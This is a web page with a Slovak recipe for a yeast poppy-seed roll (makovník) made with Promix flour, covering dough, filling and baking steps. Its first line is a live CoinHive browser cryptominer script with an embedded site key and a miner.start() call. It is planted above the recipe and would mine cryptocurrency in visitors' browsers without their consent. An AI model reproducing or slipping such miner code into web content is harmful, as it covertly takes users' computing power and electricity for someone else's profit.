var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 500 g Promix, 150 ml teplého mlieka, 1 PL kryštálového cukru, 1 kocka čerstvého droždia, ½ ML soli, kvások, 70 g tuku (maslo alebo Palmarín)

Potrebujeme na plnku: 150 g mletého maku, 3 PL práškového cukru, 70 ml vody, kôra z 1 citróna, trochu citrónovej šťavy

Postup: Z múky odsypte asi 2 PL zmesi bokom (budeme potrebovať na posýpanie pracovnej dosky). Do 150 ml teplého mlieka rozmiešame 1 PL kryštálového cukru a 1 kocku čerstvého droždia a necháme asi 5 minút pri izbovej teplote nakysnúť. Do zmesi pridáme ½ ML soli, kvások, 70 g tuku a asi 300 ml mlieka, ktoré prilievame postupne podľa potreby, aby sme zo všetkých prísad vypracovali mixérom mäkké cesto. Necháme v mise prikryté utierkou kysnúť, kým cesto nezdvojnásobí svoj objem. Po vykysnutí vyklopíme na dosku, posypanú odloženými 2 PL zmesi, cesto premiesime a rozvaľkáme na hrúbku asi 0,5–1 cm. Potrieme plnkou, na ktorú si obaríme mak sladkou vodou a necháme ho odstáť. Potom primiešame citrónovú kôrou a šťavu, odlejeme prípadnú prebytočnú tekutinu. Plnku natrieme takmer na celý povrch cesta, necháme po okrajoch asi po 1-1,5 cm voľné miesto, aby plnka nevytiekla. Zatočíme, potrieme vajíčkom s troškou leja a pečieme na 200°C asi 20 minút do zlatohneda.